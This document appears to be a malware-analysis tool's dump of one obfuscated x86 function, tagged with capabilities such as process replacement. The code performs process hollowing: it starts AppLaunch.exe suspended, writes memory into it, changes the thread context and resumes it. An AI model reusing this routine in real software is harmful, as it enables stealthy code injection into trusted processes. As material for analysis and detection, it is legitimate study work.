Function at 0x40f280
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inspect section memory permissions
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1d4
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1dc], eax
mov eax, dword [0x47f880]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1d8], 0xb067581c
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1e0], eax
sub eax, 0x81133cf4
je 0x413c86
jmp 0x40f2c5
mov eax, dword [ebp - 0x1e0]
sub eax, 0x85bd76bb
je 0x413bb2
jmp 0x40f2db
mov eax, dword [ebp - 0x1e0]
sub eax, 0x88875ef5
je 0x413f28
jmp 0x40f2f1
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8a80186e
je 0x41364d
jmp 0x40f307
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8b4c4fb0
je 0x41194b
jmp 0x40f31d
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8bcc893d
je 0x411e10
jmp 0x40f333
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8d4f5a1b
je 0x413c68
jmp 0x40f349
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8da0f32e
je 0x412897
jmp 0x40f35f
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8dd461a1
je 0x41231f
jmp 0x40f375
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8fb7fbbb
je 0x412586
jmp 0x40f38b
mov eax, dword [ebp - 0x1e0]
sub eax, 0x904d24a2
je 0x412d74
jmp 0x40f3a1
mov eax, dword [ebp - 0x1e0]
sub eax, 0x91a38556
je 0x41196e
jmp 0x40f3b7
mov eax, dword [ebp - 0x1e0]
sub eax, 0x961849f7
je 0x413e50
jmp 0x40f3cd
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9ee2e12d
je 0x41240e
jmp 0x40f3e3
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9efef321
je 0x4113d7
jmp 0x40f3f9
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9f764a2d
je 0x41170c
jmp 0x40f40f
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9f80b6cc
je 0x413beb
jmp 0x40f425
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9fa3e053
je 0x413dcc
jmp 0x40f43b
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa05cafd5
je 0x4123ff
jmp 0x40f451
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa1731fa0
je 0x413bd0
jmp 0x40f467
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa1e99f5c
je 0x4130f7
jmp 0x40f47d
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa2d0eaee
je 0x412f29
jmp 0x40f493
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa2ff2ea9
je 0x41221e
jmp 0x40f4a9
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa3b973da
je 0x413e17
jmp 0x40f4bf
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa53d7815
je 0x4126d4
jmp 0x40f4d5
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa59f5781
je 0x413b1e
jmp 0x40f4eb
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa93e0b5a
je 0x413e3b
jmp 0x40f501
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa9b75db5
je 0x411524
jmp 0x40f517
mov eax, dword [ebp - 0x1e0]
sub eax, 0xab5416bf
je 0x411500
jmp 0x40f52d
mov eax, dword [ebp - 0x1e0]
sub eax, 0xac961120
je 0x4129cd
jmp 0x40f543
mov eax, dword [ebp - 0x1e0]
sub eax, 0xae10d7cd
je 0x410b7d
jmp 0x40f559
mov eax, dword [ebp - 0x1e0]
sub eax, 0xaf82e490
je 0x410e0c
jmp 0x40f56f
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb067581c
je 0x41076a
jmp 0x40f585
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb24bb600
je 0x411d55
jmp 0x40f59b
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb50ac89f
je 0x4114df
jmp 0x40f5b1
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb66c8e9a
je 0x413b33
jmp 0x40f5c7
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb8a5b4e0
je 0x4138dc
jmp 0x40f5dd
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb8f55456
je 0x413a89
jmp 0x40f5f3
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb976e157
je 0x413e02
jmp 0x40f609
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb987f5ec
je 0x410fd2
jmp 0x40f61f
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb9e3876d
je 0x411ff8
jmp 0x40f635
mov eax, dword [ebp - 0x1e0]
sub eax, 0xba6fbd72
je 0x413057
jmp 0x40f64b
mov eax, dword [ebp - 0x1e0]
sub eax, 0xbaa1054f
je 0x4128fc
jmp 0x40f661
mov eax, dword [ebp - 0x1e0]
sub eax, 0xbc82a85e
je 0x41300e
jmp 0x40f677
mov eax, dword [ebp - 0x1e0]
sub eax, 0xbd509a7a
je 0x410e8f
jmp 0x40f68d
mov eax, dword [ebp - 0x1e0]
sub eax, 0xbe55ced8
je 0x410c0e
jmp 0x40f6a3
mov eax, dword [ebp - 0x1e0]
sub eax, 0xbe7ed56e
je 0x411691
jmp 0x40f6b9
mov eax, dword [ebp - 0x1e0]
sub eax, 0xbfccc54c
je 0x410a52
jmp 0x40f6cf
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc038835f
je 0x41363e
jmp 0x40f6e5
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc1481933
je 0x413186
jmp 0x40f6fb
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc43334e6
je 0x411bc3
jmp 0x40f711
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc5860751
je 0x412dc5
jmp 0x40f727
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc59abe3c
je 0x411365
jmp 0x40f73d
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc5a3c8de
je 0x413766
jmp 0x40f753
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc8efef6b
je 0x411e1f
jmp 0x40f769
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc922a1fc
je 0x412623
jmp 0x40f77f
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc9811a57
je 0x4117a2
jmp 0x40f795
mov eax, dword [ebp - 0x1e0]
sub eax, 0xca5a8cd4
je 0x411f71
jmp 0x40f7ab
mov eax, dword [ebp - 0x1e0]
sub eax, 0xce034a2d
je 0x4116b2
jmp 0x40f7c1
mov eax, dword [ebp - 0x1e0]
sub eax, 0xcf5d0c21
je 0x411082
jmp 0x40f7d7
mov eax, dword [ebp - 0x1e0]
sub eax, 0xcf9b371c
je 0x4119b6
jmp 0x40f7ed
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd1ebbbed
je 0x412b2a
jmp 0x40f803
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd3dfa72b
je 0x412614
jmp 0x40f819
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd4785586
je 0x412c1d
jmp 0x40f82f
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd4d3c3b0
je 0x411bd2
mov ecx, dword [0x480d24]
mov eax, dword [0x480d20]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb8f55456
mov ecx, 0x4384113d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0041e6d0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.0041e6d0
add esp, 0xc
lea edx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x1d8], 0x78c6247a
jmp 0x413f41
mov eax, dword [ebp - 0x17c]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x175], al
mov ecx, dword [0x480d24]
mov eax, dword [0x480d20]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe1ab2f81
mov ecx, 0xdbeafa28
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov dl, byte [ebp - 0x175]
mov eax, 0x3c1021e4
mov ecx, 0x206da265
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov eax, dword [ebp - 0x1b0]
add eax, 0x18
add eax, 0x38
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x1d8], 0xe2038f80
jmp 0x413f41
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x1d8], 0x21faf1c9
jmp 0x413f41
mov eax, dword [ebp - 0x158]
cmp eax, 0
setbe al
and al, 1
mov byte [ebp - 0x151], al
mov eax, dword [0x480d24]
mov ecx, dword [0x480d20]
mov edx, eax
add edx, 0x90144115
sub edx, 1
sub edx, 0x90144115
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb66c8e9a
mov ecx, 0x498841a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov eax, dword [0x480d24]
mov ecx, dword [0x480d20]
mov edx, eax
sub edx, 0xac639655
sub edx, 1
add edx, 0xac639655
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1e0c678e
mov ecx, 0x17400605
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov eax, dword [ebp - 0x1b0]
add eax, 4
add eax, 2
mov dword [ebp - 0x140], eax
mov eax, dword [0x480d24]
mov ecx, dword [0x480d20]
mov edx, eax
add edx, 0xacac09fc
sub edx, 1
sub edx, 0xacac09fc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x22b1933e
mov ecx, 0xe27c5f14
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov ecx, dword [0x480d24]
mov eax, dword [0x480d20]
mov edx, ecx
sub edx, 0x9a78e2f8
sub edx, 1
add edx, 0x9a78e2f8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa1731fa0
mov ecx, 0x1153e7ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov dl, byte [ebp - 0x139]
mov eax, 0x71d3b76b
mov ecx, 0xab5416bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov eax, dword [ebp - 0x1bc]
imul ecx, dword [ebp - 0x1cc], 0x28
add eax, ecx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x1d8], 0xa9b75db5
jmp 0x413f41
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x1bc]
imul edx, dword [ebp - 0x1cc], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x1bc]
imul ecx, dword [ebp - 0x1cc], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x1d8], 0xf641daf7
jmp 0x413f41
mov dl, byte [ebp - 0x121]
mov eax, 0xe06576e0
mov ecx, 0xce034a2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x1d8], 0x75697973
jmp 0x413f41
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x114]
imul ecx, ecx, 0x28
add eax, ecx
mov edx, dword [eax + 0x10]
mov ecx, dword [ebp - 0x11c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0x120]
mov eax, 0xe06576e0
mov ecx, 0x714a658d
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov eax, dword [ebp - 0x108]
add eax, 0xc
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x1d8], 0x57cbee67
jmp 0x413f41
mov eax, dword [ebp - 0xfc]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xf5], al
mov dword [ebp - 0x1d8], 0x91a38556
jmp 0x413f41
mov dl, byte [ebp - 0xf5]
mov eax, 0x72b75236
mov ecx, 0xdb12f64d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x1d8], 0x32ff0612
jmp 0x413f41
mov dword [ebp - 0x1d8], 0xd4d3c3b0
jmp 0x413f41
mov eax, dword [0x480d24]
mov ecx, dword [0x480d20]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81133cf4
mov ecx, 0xf79e9ba8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov dword [ebp - 0x1d8], 0xc8efef6b
jmp 0x413f41
mov edx, dword [ebp - 0xcc]
mov eax, 0xf27ec867
mov ecx, 0xeb66a6f8
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov ecx, dword [ebp - 0xc4]
mov edx, 0xffffffff
xor edx, 0xfff
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, dword [ebp - 0xc8]
sub ecx, 0x20891f6a
add ecx, eax
add ecx, 0x20891f6a
mov eax, dword [ebp - 0x19c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x198]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xfa1b2204
mov ecx, 0xb9e3876d
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov ecx, dword [0x480d24]
mov eax, dword [0x480d20]
mov edx, ecx
add edx, 0x924d17a6
sub edx, 1
sub edx, 0x924d17a6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7d62941f
mov ecx, 0x24e305b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov dword [ebp - 0x1d8], 0xfa1b2204
jmp 0x413f41
mov ecx, dword [0x480d24]
mov eax, dword [0x480d20]
mov edx, ecx
add edx, 0xd01fefff
sub edx, 1
sub edx, 0xd01fefff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4b9a2ac2
mov ecx, 0x119bcc5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov dword [ebp - 0x1d8], 0x9ee2e12d
jmp 0x413f41
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0xbc]
mov dword [eax], ecx
mov dword [ebp - 0x1d8], 0x182b776d
jmp 0x413f41
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x1c4], eax
mov eax, dword [0x480d24]
mov ecx, dword [0x480d20]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfa6add03
mov ecx, 0x4996e061
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov dword [ebp - 0x1d8], 0xc922a1fc
jmp 0x413f41
mov eax, dword [0x480d24]
mov ecx, dword [0x480d20]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x798f5148
mov ecx, 0xfc22271c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov dword [ebp - 0x1d8], 0x40edcd82
jmp 0x413f41
mov eax, dword [ebp - 0xac]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xa5], al
mov eax, dword [0x480d24]
mov ecx, dword [0x480d20]
mov edx, eax
add edx, 0x122d4080
sub edx, 1
sub edx, 0x122d4080
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5cb52b3e
mov ecx, 0xbaa1054f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov dl, byte [ebp - 0xa5]
mov eax, 0x1bbf106d
mov ecx, 0x57fe89e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov dword [ebp - 0x1d8], 0xf77a0348
jmp 0x413f41
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov ecx, dword [0x480d24]
mov eax, dword [0x480d20]
mov edx, ecx
sub edx, 0x58d9eae3
sub edx, 1
add edx, 0x58d9eae3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf9bd0981
mov ecx, 0x275e086
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov dword [ebp - 0x1d8], 0x8a80186e
jmp 0x413f41
mov eax, dword [0x480d24]
mov ecx, dword [0x480d20]
mov edx, eax
sub edx, 0x409c20ce
sub edx, 1
add edx, 0x409c20ce
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa3b973da
mov ecx, 0xc5860751
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov eax, dword [0x480d24]
mov ecx, dword [0x480d20]
mov edx, eax
sub edx, 0xe77bb6ac
sub edx, 1
add edx, 0xe77bb6ac
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa3b973da
mov ecx, 0xee05d5f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov eax, dword [0x480d24]
mov ecx, dword [0x480d20]
mov edx, eax
sub edx, 0x5f6b2083
sub edx, 1
add edx, 0x5f6b2083
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa93e0b5a
mov ecx, 0x8a18629
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov eax, dword [0x480d24]
mov ecx, dword [0x480d20]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x961849f7
mov ecx, 0xba6fbd72
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov eax, dword [0x480d24]
mov ecx, dword [0x480d20]
mov edx, eax
sub edx, 0xff6ac51f
sub edx, 1
add edx, 0xff6ac51f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x961849f7
mov ecx, 0xe998bbed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov edx, dword [ebp - 0x8c]
mov eax, 0x4a2a5c7e
mov ecx, 0x1b5e6deb
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov eax, dword [ebp - 0x18c]
mov dword [eax], 0x20
mov ecx, dword [0x480d24]
mov eax, dword [0x480d20]
mov edx, ecx
add edx, 0x267471ef
sub edx, 1
sub edx, 0x267471ef
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7ae9910a
mov ecx, 0x2849fc97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov dword [ebp - 0x1d8], 0x8a80186e
jmp 0x413f41
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [ebp - 0x190]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 8]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x1d8], 0x346168c6
jmp 0x413f41
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x70], eax
mov eax, dword [0x480d24]
mov ecx, dword [0x480d20]
mov edx, eax
sub edx, 0x9c1f0ff4
sub edx, 1
add edx, 0x9c1f0ff4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd519100c
mov ecx, 0xe4034e31
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d8], eax
jmp 0x413f41
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x1b0]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x1b4]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x1d8], 0x26e6c7c0
jmp 0x413f41
mov dword [ebp - 0x1d8], 0x4384113d
jmp 0x413f41
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x1d8], 0x1287f000
jmp 0x413f41
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x1d8], 0xb987f5ec
jmp 0x413f41
mov dword [ebp - 0x1d8], 0x2531db9c
jmp 0x413f41
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x1d8], 0x1153e7ec
jmp 0x413f41
mov eax, dword [ebp - 0x128]
mov edx, dword [eax]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x12c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x130]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x1d8], 0x1b2df3eb
jmp 0x413f41
mov dword [ebp - 0x1d8], 0x65df28d9
jmp 0x413f41
mov ax, word [ebp - 0xce]
mov dword [ebp - 0x1d8], 0xf79e9ba8
jmp 0x413f41
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x1d8], 0xde5d56e5
jmp 0x413f41
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x1d8], 0x5a5aa88a
jmp 0x413f41
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x1d8], 0xc5860751
jmp 0x413f41
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x1d8], 0x8a18629
jmp 0x413f41
mov dword [ebp - 0x1d8], 0xba6fbd72
jmp 0x413f41
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1d8], 0x5e59b3c7
jmp 0x40f2a9